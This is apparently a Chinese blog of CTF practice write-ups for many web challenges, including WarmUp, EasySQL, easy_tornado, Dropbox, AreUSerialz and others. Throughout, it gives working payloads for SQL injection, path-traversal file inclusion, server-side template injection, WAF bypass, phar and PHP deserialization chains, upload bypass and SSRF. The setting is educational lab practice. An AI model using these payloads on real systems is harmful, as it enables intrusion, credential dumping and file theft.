CTF刷题[待更新]
本文最后更新于1096天前,其中的信息可能已经有所发展或是发生改变。

[HCTF 2018]WarmUp

点开题目只有一个图片,考虑找下代码,查看源码或者www.zip,查看源码时看到提示

根据提示得到:

source.php
 "source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?') //为page内容?之前的
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }//page内容中?之前的要包含白名单,即包含source.php或hint.php

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "";
    }  
?> 

知识点 代码审计、文件包含

1.代码审计,审计用到的函数:

*isset* 在php中用来判断变量是否声明,该函数返回布尔类型的值,若使用 isset**() 测试一个被设置成 NULL 的变量,将返回 FALSE。**

strpos() 查找在字符串中第一次出现的位置

$_REQUEST 通过POST,GET,Cookie进行传值

2.文件包含

根据以上分析,这里采用get传值,结合文件包含,构造

http://73ce5700-3f49-4f36-ab4f-9179510f1287.node3.buuoj.cn/?file=source.php?/../../../../ffffllllaaaagggg

因为第一层没有flag,加上ffff重复4遍,猜测在第4层得到:

flag{939ba03e-488d-4be4-a80a-4daa80a91870}

[极客大挑战 2019]EasySQL

要输入用户名和密码,题目提示sql注入,试个admin,admin返回用户名和密码错误,同时跳转到了check.php,考虑绕过用户名密码检测,尝试万能密码

试了admin' or '1'='1 仍然返回用户名和密码错误,以为思路错误,最后发现应该换其它万能密码测试

知识点 SQL注入万能密码

注意最后视情况加上不同的注释符

admin'or'1'='1

id=1 or 1=1

'or 1=1--

"or 1=1--

'or"='

admin' or 1=1

admin' or 1=1

admin'&&'a'='a

本题测出admin' or 1=1-- -或admin' or 1=1%23都可以

得到

flag{926db018-8e9c-4dc5-9d99-aafeaa60247a}

[护网杯 2018]easy_tornado

根据题目意思,构造payload

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

但是不知道cookie_secret怎么拿,用谷歌的插件也获取不了cookie

知识点 SSTI 服务器端模板注入

  1. SSTI 服务器端模板注入

模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出。在tornado模板中,存在一些可以访问的快速对象,这里用到的handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。

2.render 是python的一个模板,一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

回到题目,输入msg=的值会被回显,说明用户可控

构造payload获取cookie_secret error?msg={{handler.settings}}

得到'cookie_secret': '492712d4-1667-4bef-be19-0ae0ec2d490f'

用脚本计算拼接一下filehash=md5(cookie_secret+md5(/fllllllllllllag))

计算得

filehash=f1e672bdccddc5086a1fda33a7596d10
#BUU easy_tornado 计算md5
import hashlib
filename = '/fllllllllllllag'
cookie_secret = '492712d4-1667-4bef-be19-0ae0ec2d490f'
file_md5 = hashlib.md5(filename).hexdigest()
print file_md5
print hashlib.md5(cookie_secret+file_md5).hexdigest()
构造payload  http://dd6906b9-0c70-4b59-9480-442de3bd2545.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=f1e672bdccddc5086a1fda33a7596d10

-> flag{53449104-2808-41f6-91a1-7c1ecb26cf5}

[极客大挑战 2019]Havefun

和一道作业题类似,查看源代码,有个Syc{cat_cat_cat_cat}提交错误,但这一段可能有用先留着

image.png

尝试源码泄露,未果,回过去看代码,感觉只有上面一段有用,要我们输入cat,尝试一下?cat=dog,竟然出来了flag,是我想的太复杂。

image.png
->  flag{d09141c5-c0c1-4fee-af2e-1e88a1cb82b5} 

[RoarCTF 2019]Easy Calc

一个简单的计算器计算窗口,源代码中告诉我设置了WAF,想到sql注入,试一下

image.png

看下过滤了什么:空格 $IFS$9 #,所有字母都不行,回去看一遍源代码

可用的字符:空格换成// 结尾注释用--//-或者%23

image.png

encodeURI() 函数可把字符串作为 URI 进行编码

去calc.php看一下,看到黑名单

image.png

尝试在calc.php?num=处注入

image.png

知识点 PHP解析规则、scandir()、file_get_contents()

1.PHP解析规则

绕过waf,首先了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。

num被限制了,那么' num'呢,在num前面加了空格。waf就管不着了,因为waf只是限制了num,waf并没有限制' num',当php解析的时候,又会把' num'前面的空格去掉在解析,利用这点来上传非法字符。

2.scandir()

列出 参数目录 中的文件和目录

查看当前目录 var_dump(scandir(./))

查看根目录 var_dump(scandir(/))

3.file_get_contents() 函数将文件的内容读入到一个字符串中。

感觉不像是sql注入,尝试查看目录

首先扫根目录下的所有文件,也就是是scandir(/),但是“/”被过滤了,所以我们用chr(47)绕过,发现flagg文件

构造? num=1;var_dump(scandir(chr(47)))
image.png

看到flagg,然后去读取这个文件就可以了,payload:

calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

/.f.1.a.g.g 的chr编码,绕过检测

image.png
-> flag{66b2b9b1-bd47-4652-ae5f-1618630086c9}

注:

system(chr(108).chr(115)) 显示不出来目录,

在 phpinfo 中可以发现 system、exec 这一类命令执行的函数被禁用了,

网页代码给出的过滤代码是不全的。

?num=1;phpinfo()查看phpinfo

总结

一个输入框、一个提交框,可能是SQL、查看目录文件,flag经常在根目录中,之前还遇到过flag在系统文件中,具体情况下次遇到待补充。

[极客大挑战 2019]Secret File

查看源码,有一个跳转

image.png

访问会跳转到end页面

image.png
image.png

burp看到secr3t.php

image.png
image.png

访问secr3t.php提示

注意这里在网页端看secr3t.php看到的内容更多,能看到文件包含漏洞,以后做题最好是都看一下

image.png

访问flag.php

image.png

根据提示我们可以肯定flag确实是在这里,但是前端却看不到,我们猜测flag是写在了php代码里面。那么怎样来获取完整的flag.php源文件呢?我们立马想到了secr3t.php的文件包含漏洞。

结合过滤信息,这里构造payload,再base64解码得flag

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
image.png
-> flag{a1ee5c6c-54d6-45e3-9488-e55267d21cad}

总结+知识点文件包含

确定flag就在该页面,却看不见时,考虑是不是flag在php页面的注释里,需要通过查看源码才能看到php://filter/read=convert.base64-encode/resource=index.php 对文件源码进行查看

[极客大挑战 2019]LoveSQL

跟前面写的EasySQL界面一样,先用上题的万能密码登录admin' or 1=1-- - 得到

image.png
Your password is '60a6da3b299c57584f6f8cd4fd874090'

想了一下拿到管理员账号能干嘛,突然想起这是sql注入,那么对用户名进行注入

(1)字段信息

admin' order by 3 -- -成功,4报错,3个字段

(2)爆库名

看下回显位置

/check.php?username=admin' union select 1,2,3%23&password=60a6da3b299c57584f6f8cd4fd874090

无效

网上payload:

check.php?username=1' union select 1,2,3%23&password=1

原来用户名不能再写admin,密码随便填什么都可以

/check.php?username=1' union select 1,2,3%23&password=5  

得到:

image.png

回显位2,3

方法一:爆出所有库名

/check.php?username=1' union select 1,2,group_concat(distinct table_schema) from information_schema.tables%23&password=5
image.png

方法二:查询当前数据库名及版本

/check.php?username=1' union select 1,database(),version()%23&password=1
image.png

(3)表名

第二步殊途同归,数据库肯定猜独特的那个geek

/check.php?username=1' union select 1,2,group_concat(distinct table_name) from information_schema.tables where table_schema='geek'%23&password=5

查出表名 Your password is 'geekuser,l0ve1ysq1'

(4)列名

/check.php?username=1' union select 1,2,group_concat(distinct column_name) from information_schema.columns where table_name='geekuser'%23&password=5

得到Your password is 'id,username,password' 感觉查错了换一个

/check.php?username=1' union select 1,2,group_concat(distinct column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=5

仍然得到Your password is 'id,username,password'

(5)查flag

让三个列都显示出来看看

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=5
得到Your password is  '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{649c7d84-4e10-403b-891c-3b322dca3811}'
->flag{649c7d84-4e10-403b-891c-3b322dca3811}

PS:试了一下geekuser表中只有一个admin的账号密码,没有flag,果然是要找长得最奇怪的内容去查。提交答案的时候看到题目名字叫做LoveSQL,提示了表名的。

easytornado(攻防世界)

image.png

同上buu题

supersqli

同word上练习题

image.png

select 回显过滤类型

1';show databases;--+

回显库名,根据题目这里选supersqli

image.png
1';show tables from supersqli;--+

回显表名

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

查看列

1';show columns from `1919810931114514`;--+
image.png

因为不能select,通过set绕过,此处有strstr函数识别set和prepare关键词,大小写绕过

1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare flag from @sql;EXECUTE flag;--+
-> flag{c168d583ed0d4d7196967b28cbd0b5e9}

另一道题[GYCTF2020]Blacklist,前部分与此题一样,但最后不能用set,可使用 handler FlagHere open;handler FlagHere read next;

1’; handler FlagHere open;handler FlagHere read next;--+

shrine(攻防世界)

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

-> flask 在 /shrine/ 下的 SSTI,对 payload 进行了过滤,对小括号进行了替换,将 ( 和 ) 替换为空字符串,将 config 和 self 添加进了黑名单

看完代码要想到flask的模板过滤,

image.png

结合题中代码

app.config['FLAG'] = os.environ.pop('FLAG')

注册了一个名为FLAG的config,猜测这就是flag,如果没过滤可以直接{{config}}查看所有app.config内容。但这题设置了黑名单并过滤了括号

 def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

同时上述代码最后一行,把黑名单的内容遍历并设置为空

image.png

这里要用到python的内置函数,如url_for和get_flashed_messages

url_for

(1)给指定的函数构造 URL。

(2)访问静态文件(CSS / JavaScript 等)。 只要在你的包中或是模块的所在目录中创建一个名为 static 的文件夹,在应用中使用 /static 即可访问。

get_flashed_messages
image.png

payload:

{{get_flashed_messages.globals['current_app'].config['FLAG']}}
image.png

参考: https://www.cnblogs.com/echoDetected/p/12905261.html

[BJDCTF2020]The mystery of ip

在hint.php页面看到

image.png

在flag.php增加XFF头,发现会回显我修改的内容,利用SSTI模板注入查看根目录下flag

payload

X-forwarded-for:{{system('cat /flag')}}

image.png

知识点 SSTI

image

判断漏洞点:因为这里输入就回显,而且不是php,所以就要去猜想是不是ssti,接下来判断是什么模板引擎,根据上面的图测试一下,试一下{{7*7}}发现有回显

smarty注入常见payload

{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if} #本题payload
image.png

这里../../../返回到了根目录后无论加多少../都会访问根目录

幂数加密

下载附件得到一串数字
8842101220480224404014224202480122
没有头绪,于是采用”题目攻击“
搜索幂数加密得到二进制加密方法,得到

二进制幂数加密法就是应用这个原理,由于英文字母只有26个字母,
由公式可知,
只要2的0、1、2、3、4、5次幂就可以表示31个单元。
通过用二进制幂数表示字母序号数来加密。
例如
明文: d o n o t p u l l a l l y o u r e g g s i n o n e b a s k e t
字母序号:4 15 14 15 20 16 21 12 12 1 12 12 25 15 21 18 5 7 7 19 9 14 15 14 5 2 1 19 11 5 20
由于4=2^2 所以D加密过之后是2;15=20+21+22+23所以O加密后是0123。同理得到上述明文的加密后的密文
密文:2 0123/123 0123 24/4 024 23 23/0 23 23/034 0123 024 14/02 012 012 014/03 123 /0123 123 02/1 0 014 013 02 24
其中空格表示字母的间隔,/表示单词的间 隔。

并没有什么用。于是放弃了,看了题解。

根据题解得到题目有提到一共八个字母,那么原数字可以看成8段,恰好7个0,那么一段一个数字,每个数字个位数字之和都小于26(有点幂数加密的味道),可以看成是偏移量,就可以得到明文。

Payload:

a = "8842101220480224404014224202480122"
a = a.split("0")
flag = ''
for i in range(0, len(a)):
    str = a[i]
    list = []
    sum = 0
    for j in str:
        list.append(j)
        length = len(list)
    for k in range(0, length):
        sum += int(list[k])
    flag += chr(sum + 64)
print(flag)

[CISCN2019 华北赛区 Day1 Web2]ikun

首先在查看页面cookie时发现jwt,使用jwt.io对该jwt进行解密发现加密方式为HS256,该加密方式加解密使用的密钥相同也就导致了其安全性能较弱。我们使用jwtcrack工具对其进行爆破

我们再使用jwt.io进行jwt伪造

抓包修改jwt后得到提示

写个脚本进行unicode解码

那么lv6在哪里呢…这里确实是没有想到,因为lv后面的数字都是以图片形式显示的,因此很快就否决掉了if 'lv6' in c.text这种猜想,但实际上采用的方式是if 'lv6.png' in c.text(图片名称)来对lv6的商品进行寻找,就直接贴一下大佬的脚本

import requests

url = "http://f5d9b03a-0e3b-44ff-b71f-d08bb7212a36.node1.buuoj.cn/"

for i in range(1, 2000):
    r = requests.get(url + "shop?page=" + str(i))

    if r.text.find("lv6.png") != -1:
        print(i)
        break

找到之后是无法直接进行购买的,需要我们购买一定量的产品后获得优惠券然后修改优惠折扣后完成购买然后在页面源码中获得提示下载网站源码

这里有一个python反序列化的点,构造的关键为__reduce__魔术方法,当序列化以及反序列化的过程中中碰到一无所知的扩展类型(这里指的就是新式类)的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化,网络上漏洞利用的脚本也很多

我们对其进行修改,关键是要将结果进行url编码 传入后得到flag

[CISCN2019 华北赛区 Day1 Web1]Dropbox

可以直接注册名为admin的用户,可以看到是一个文件上传的题目

可以上传后缀为jpg,png和gif的图片,但我们无法获得图片的绝对路径和调用,因此常规的文件上传方式无法使用,我们查看http历史记录,发现调用了upload.php

查看upload.php的内容

考虑修改文件名是否能下载到上层目录的网站源码,分别测试../index.php和../../index.php后下载到index.php的内容,再对剩下的网站文件进行下载后代码审计

在login.php中我们获得了文件上传后的绝对路径,但尝试上传图片马后无果

查看wp后了解到这是一种利用phar反序列化的特殊文件上传方式

https://paper.seebug.org/680/

先了解一下基本的phar文件的格式和作用,简单的来说我们利用phar实现文件上传的核心攻击点是来自phar文件的第二个构成部分,这个部分以序列化的形式存储用户自定义的meta-data,而我们在通过phar://伪协议对phar文件进行解析时会将meta-data部分进行反序列化,影响的函数主要有

也就是说我们要在该网站定义的类中找到调用上述方法的的类并读取根目录下的的flag.txt

首先我们在delete.php当中可以看到

我们对传入的变量filename也就是上传过后的文件分别进行了open和delete操作,这两个函数都来自File类

均包含有phar反序列化的受影响函数,也就是说我们在该页面传入的phar文件的meta-data部分都会被反序列化

我们在File类当中还找到了一个有可能会被我们利用的函数close,如果此时的filename为./flag.txt的话会对对应的内容进行读取。

我们在user类当中找到了调用close的魔术方法。

但仅仅读取是不够的我们还要想办法将读取的内容进行输出,我们继续在类当中寻找类似echo,var_dump和print_r的函数

我们在Filelist类中定义的析构函数中看到最后会将filelist的中的三个参数拼接后输出

我们又看到了Filelist类中的魔术方法会在调用类中不存在的方法时对每一个file调用一次该方法

整理一下思路

首先我们定义一个User类的对象,该对象的db属性为一个新的Filelist类,也就是$this->db=new FileList;

接着定义Filelist类的的构造函数,三个参数分别为

public function __construct(){
    	$file=new File;
    	$file->filename='/flag.txt';
    	$this->files = array($file);
        $this->results = array();
        $this->funcs = array();
}

关键就在于User类的的析构函数会去调用参数db的close方法,但此时参数db为Filelist类的对象而Filelist是没有对应的close方法,我们就会去尝试调用魔术方法__call,此时的file为/flag.txt,这样的一个File类的对象,func为close,也就是说我们完成了对/flag.txt的读取并存储在results中

results也是我们析构函数输出的内容之一 我们也就完成了user类的对象调用Filelist类的对象的close方法>Filelist类的对象因为类中不存在close方法调用__call魔术方法>魔术方法完成对目标文件的读取和存储>利用Filelist类的析构函数完成输出的利用链。生成phar文件的脚本

<?php
class User {
	public $db;
	public function __construct(){
		$this->db=new FileList;
	}
}
class FileList{
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
    	$file=new File;
    	$file->filename='/flag.txt';
    	$this->files = array($file);
        $this->results = array();
        $this->funcs = array();

}

}
class File{
	public $filename;
}
ini_set('phar.readonly',0);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

之后将生成的phar.phar的后缀修改为phar.gif完成上传后删除文件将文件名修改为phar://phar.gif/test.txt即可完成对flag文件的读取

Fakebook

首先是访问robots.txt得到提示,访问user.php.bak下载到对应页面的源码,我们可以看到类中存在了函数get,会使用curl去访问我们在注册页面留下的博客网址

看到这里大概可以确定这道题目是一道ssrf的题目了,但如果可以任意确定存储的网址的话ssrf的实现未免太简单了,于是我们看到了这样的一个正则表达式来限制我们传入的网址

首先是(((http(s?))\:\/\/)?),?代表会匹配零次或一次也就是说我们传入网址的协议部分被限制为http://,https://或者为空

接着是([0-9a-zA-Z\-]+\.)+,+代表匹配前面的子式一次或多次,也就是说我们的host部分前端的形式类似于xxxx.xxx.xxxxx.其中x可以是任意的大小写字母,数字和破折号。限制最大的地方为[a-zA-Z]{2,6}也就是说我们host部分的最后需要是二到六位的英文字符串,也就是说我们的host无法是平常的127.0.0.1而是127.0.0.aaa的形式,最后匹配的端口号和文件名都是可缺省的。

查找到了资料,如果我们注册使用的网址为http://127.0.0.1.xip.io/index.php的话我们既符合了正则表达式的匹配,又可以利用子域名的解析完成对127.0.0.1的访问

很可惜失败了,一筹莫展之时发现了http://533e3c07-6940-4ad6-8fff-68635396d528.node1.buuoj.cn/view.php页面的no参数存在sql注入漏洞,过滤了空格,我们使用/**/进行绕过

payload:

view.php?no=-1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()limit/**/0,1),3,4#
读取出表名
users
payload:
view.php?no=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='users'limit/**/0,1),3,4#
view.php?no=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='users'limit/**/1,1),3,4#
view.php?no=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='users'limit/**/2,1),3,4#
view.php?no=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='users'limit/**/3,1),3,4#

读取出列名

no,username,passwd,data

我们要读取出的核心内容位于data当中

我们可以看到第四列data当中存在有序列化的数据猜测我们的网址就是由上述内容反序列化得到,在这里我们传入的内容就不会收到正则表达式的限制了,因此我们直接使用file协议file:///var/www/html/flag.php读取对应内容。

base64解码即可

[网鼎杯 2020 青龙组]AreUSerialz

反序列化的题目,先找魔术方法,只有一个析构函数可以利用,再明确一下目标,读取flag.php

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

可以看到析构函数中似乎不允许op属性的值为2,并且会把content属性置为空,最后会调用process方法,跟进一下process都做了啥

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

process方法实现的内容很简单,根据op的属性值判断下一步执行的函数,如果op的值是1的话就调用write方法,具体代码就不贴了,实现的就是文件写入,这道题目中用不太到。如果op的值是2的话就调用read方法,将文件内容读取并输出。但是我们都知道在析构方法中如果对象的op属性是2的话会强制修改为1

其实我们很容易可以发现在析构函数和process函数中对op属性判断是有明显区别的,析构函数中用到的是===而process方法中用到的是==,弱类型比较

正常来说这种判断我们只要传入op的值为2a就可以满足了,但此处有一个小问题,也就是我们在平常的弱类型比较当中出现的情况和此题当中遇到的弱类型比较情况分别为

简单的来说我们常遇到的情况是第一种,但此题中用到的是第二种,我们都知道弱类型比较当中会先将字符串类型的2a强制类型转换为int类型的2,但第二种情况下比较的另一方用到的直接是字符串,不存在强制类型转换,因此就不存在强制类型转换也就是弱类型比较的问题了

https://www.smi1e.top/php%E5%BC%B1%E7%B1%BB%E5%9E%8B%E5%AE%89%E5%85%A8/

依葫芦画瓢,传一发

$this->op = "1.99999999999999999";

问题便迎刃而解了

还有一点需要注意的是

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

is_valid不允许我们传入ascii码在32-125之外的字符,但是类中的属性均为protected也就是说我们在进行序列化时会出现空字符%00。这就有点棘手了。干脆直接都换成public试试了,没想到还真的可以

<?php
class FileHandler {
	public $op;
	public $filename;
	public $content;
	function __construct(){
		$this->op = "1.99999999999999999";
		$this->filename = "/var/www/html/flag.php";
		$this->content = "12345";
	}
}
$a = new FileHandler();
print_r(urlencode(serialize($a)));
?>

[MRCTF2020]你传你?呢

文件上传题,简单测试了一下,可以上传图片,后缀过滤的比较死,没有什么好直接上传php的方法,转变思路选择直接上传.htaccess文件,众所周知.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置

内容为

AddType application/x-httpd-php .jpg
1

简单的来说就是遇到jpg文件会按照php的方式进行解析,注意下Content-Type: image/jpeg,然后随便上传个jpg图片马,任意命令执行时发现system不能用,直接读取就好

cmd=var_dump(file_get_contents(%27/flag%27));
1

[BJDCTF2020]Cookie is so stable

Cookie当中有一个名为user的参数,flag.php中的Hello之后的内容就是由user的值所确定的,也不存在伪造cookie或者sql注入这两种情况的话,就只能考虑一下ssti了,我们尝试将user的值设置为{{1+1}},被黑名单拦截

查看一下几个主流PHP框架的ssti漏洞的poc

https://www.cnblogs.com/bmjoker/p/13508538.html

之前的题目有做到PHP框架smarty的ssti,通过每种框架poc的遍历测试,这里用到的则是twig框架的ssti,直接用一下上面那个师傅的测试用例

bmjoker{# comment #}{{2*8}}OK

1 其中的 {# comment #} 作为 Twig 模板引擎的默认注释形式,所以在前端输出的时候并不会显示,如法炮制,做一下任意命令执行

高明的黑客

强网杯的原题,下载源码后可以看到很多被混淆的php文件,内置了很多貌似可以任意命令执行的地方,比如这处

我们都知道preg_replace函数在正则匹配参数为/e时如果完成匹配的话会执行第二个参数的命令,但可以看到我们以get方式传入的变量在实现命令执行前就被置空了,因此问题的关键就变成了找到一个有效的可以实现任意命令执行的变量

WriteUp:

import requests
import re
import os
s = requests.session()
files = os.listdir('./src')
for i in files:
    url = 'http://web15.buuoj.cn/'+str(i)+''
    filename = './src/'+str(i)
    f = open(filename)
    content = f.read()
    f.close()
    print(content)
    muma = re.findall('_GET\[\'(.*?)\'\]',content)
    for j in muma:
        payload = url+'?'+str(j)+'=echo \'success\''
        print(payload)
        c=s.get(payload)
        if 'success' in c.text:
            print(payload)
            exit()

得到flag

extract变量覆盖

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

知识点:变量覆盖

file_get_contents():将整个文件读入一个字符串

trim()去除字符串两侧的空格或者指定字符trim('string','string you want to delete')

$_GET:表示等一下提交变量时,URL 通过 get 的方式传参,传输的数据以数组的形式被封装在$_GET 中。

extract():从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。 
extract(array,extract_rules,prefix) 
题中给出extract($_GET),相当于: 
$shiyan = $_GET[‘shiyan’] 
$flag = $_GET[‘flag’]。 
另外,isset()函数判断$shiyan变量是否设置

利用extract()函数的变量覆盖漏洞原理构造payload

漏洞产生原因:extract()函数当只有一个参数时,默认的第二参数是:EXTR_OVERWRITE,如果有变量发生冲突,则覆盖已有的变量。

思路:

代码审计需要满足两个条件:

1. if(isset($shiyan))  == 》 TRUE

2. if(shiyan==shiyan==content)  == 》 TRUE

//利用extract()函数变量覆盖漏洞+php伪协议

//利用file_get_content()函数返回字符串+php弱类型(null == "string"  ==》 true

弱类型

http://123.206.87.240:9009/1.php?shiyan=
http://123.206.87.240:9009/1.php?shiyan=&flag=
http://123.206.87.240:9009/1.php?shiyan=&content=

伪协议

http://123.206.87.240:9009/1.php?shiyan=123&file=php://input post data:123 

这么多数据包

提示:这么多数据包找找吧,先找到getshell的流

分析一:

按照 flag被盗 、中国菜刀 的套路失败,没有有用的信息

看数据包颜色变化,中间一段红色,应该就是攻击机对被攻击机的扫描了,但红色tcp流量为空

4730-5742之间一大段的“平原”,之后没了什么联通

在此期间基本上是4444与1040之间的通信,追踪TCP数据流也没什么用

过滤4444和1040的通信

————————————————

! tcp.port eq 4444 or ! tcp.port eq 1040 and ip.addr eq 192.168.116.138

分析二:

往下滑了几页,猜测前面的应该是攻击机对目标机扫描所产生的数据包

于是,拼命的下滑,

终于在No.4000左右的时候从数据包上看应该是扫描结束了。

再一次拼命的下滑,终于在No.5742左右的时候两主机之间好像基本上断了联系(后面还有少量ping)

猜想,flag应该就在这4000-5742中间了吧。

于是将这两个端口之间的数据包过滤掉:

! tcp.port eq 4444 or ! tcp.port eq 1040 and ip.addr eq 192.168.116.138

发现两个主机上的1234、35880端口还存在通信

追踪tcp

Q0NURntkb195b3VfbGlrZV9zbmlmZmVyfQ==  
Base64解密  CCTF{do_you_like_sniffer}

点击数:133

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇